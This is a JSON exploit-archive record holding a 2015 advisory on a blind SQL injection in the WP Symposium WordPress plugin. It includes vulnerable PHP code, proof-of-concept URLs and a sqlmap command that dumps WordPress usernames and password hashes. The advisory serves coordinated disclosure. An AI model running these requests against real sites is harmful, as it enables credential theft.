{"exploit":{"id":"EDB-37080","name":"WordPress Plugin WP Symposium 15.1 - '&show=' SQL Injection (SQLi)","description":"WordPress Plugin WP Symposium 15.1 - '&show=' SQL Injection (SQLi)","cves":["CVE-2015-3325"],"author":"Hannes Trunde","published":"2015-05-21","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/37080","path":"exploits/php/webapps/37080.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-37080.txt","vulnerabilities":[{"id":"CVE-2015-3325","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in forum.php in the WP Symposium plugin before 15.4 for WordPress allows remote attackers to execute arbitrary SQL commands via the show parameter in the QUERY_STRING to the default URI.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3325","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3325"},"updatedAt":"2024-08-06T05:47:57.252Z","retrievedAt":"2026-11-27T10:11:58.591Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-37080.png?v=2","url":"https://exploitbin.com/exploits/EDB-37080","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-37080/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-37080/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"=======================================================================\n\n              title: SQL Injection\n            product: WordPress WP Symposium Plugin\n vulnerable version: 15.1 (and probably below)\n      fixed version: 15.4\n         CVE number: CVE-2015-3325\n             impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)\n           homepage: https://wordpress.org/plugins/wp-symposium/\n              found: 2015-02-07\n                 by: Hannes Trunde\n\n               mail: hannes.trunde@gmail.com\n            twitter: @hannestrunde\n\n=======================================================================\n\n\nPlugin description:\n-------------------\n\"WP Symposium turns a WordPress website into a Social Network! It is a WordPress\nplugin that provides a forum, activity (similar to Facebook wall), member\ndirectory, private mail, notification panel, chat windows, profile page, social\nwidgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook\nConnect and Mobile support! You simply choose which you want to activate!\nCertain features are optional to members to protect their privacy.\"\n\nSource: https://wordpress.org/plugins/wp-symposium/\n\n\nRecommendation:\n---------------\nThe author has provided a fixed plugin version which should be installed\nimmediately.\n\n\nVulnerability overview/description:\n-----------------------------------\nBecause of insufficient input validation, a blind sql injection attack can be\nperformed within the forum feature to obtain sensitive information from the\ndatabase. The vulnerable code sections are described below.\n\nforum.php lines 59-62:\n===============================================================================\nif ( ( $topic_id == '' && $cat_id == '') || ( !$cat_id != '' && get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') && !get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') ) ) {\n   $cat_id = isset($_GET['cid']) ? $_GET['cid'] : 0;\n   $topic_id = isset($_GET['show']) ? $_GET['show'] : 0;  // GET PARAMETER IS ASSIGNED TO $topic_id VARIABLE\n}\n===============================================================================\n\nforum.php lines 95-103:\n===============================================================================\nif ( get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') || !get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') ) {\n   if ($topic_id == 0) {\n      $forum = __wps__getForum($cat_id);\n      if (($x = strpos($forum, '[|]')) !== FALSE) $forum = substr($forum, $x+3);\n      $html .= $forum;\n   } else {\n      $html .= __wps__getTopic($topic_id);\t// __wps__getTopic IS CALLED WITH $topic_id AS PARAMETER\n   }\n}\n===============================================================================\n\nfunctions.php lines 152-155:\n===============================================================================\n$post = $wpdb->get_row(\"\n   SELECT tid, topic_subject, topic_approved, topic_category, topic_post, topic_started, display_name, topic_sticky, topic_owner, for_info\n   FROM \".$wpdb->prefix.\"symposium_topics t INNER JOIN \".$wpdb->base_prefix.\"users u ON t.topic_owner = u.ID\n   WHERE (t.topic_approved = 'on' OR t.topic_owner = \".$current_user->ID.\") AND tid = \".$topic_id);   //UNVALIDATED $topic_id IS USED IN SQL QUERY\n===============================================================================\n\n\nProof of concept:\n-----------------\nThe following HTTP request to the forum page returns the topic with id 1:\n===============================================================================\nhttp://www.site.com/?page_id=4&cid=1&show=1 AND 1=1\n===============================================================================\n\nThe following HTTP request to the forum page returns a blank page, thus\nconfirming the blind SQL injection vulnerability:\n===============================================================================\nhttp://www.site.com/?page_id=4&cid=1&show=1 AND 1=0\n===============================================================================\n\nObtaining users and password hashes with sqlmap may look as follows:\n================================================================================\nsqlmap -u \"http://www.site.com/?page_id=4&cid=1&show=1\" -p \"show\" --technique=B --dbms=mysql --sql-query=\"select user_login,user_pass from wp_users\"\n================================================================================\n\n\nContact timeline:\n------------------------\n2015-04-08: Contacting author via mail.\n2015-04-13: Mail from author, confirming the vulnerability.\n2015-04-14: Requesting CVE via post to the open source software security mailing\n            list: http://openwall.com/lists/oss-security/2015/04/14/5\n2015-04-15: Mail from author, stating that updated plugin version will be\n            available in the next few days.\n2015-05-05: Mail from author, stating that fixed version has been uploaded and\n            should be available soon.\n2015-05-07: Confirming that update is available, releasing security advisory\n\n\nSolution:\n---------\nUpdate to the most recent plugin version.\n\n\nWorkaround:\n-----------\nSee solution.","sha256":"cda8ac3e63d086f1a89dd187e91c33a16b8d4877a531789dc7aa93672d30046c","bytes":5051,"fetchedAt":"2026-11-27T10:11:56.953Z","encoding":"utf-8 (display only; download retains original bytes)"}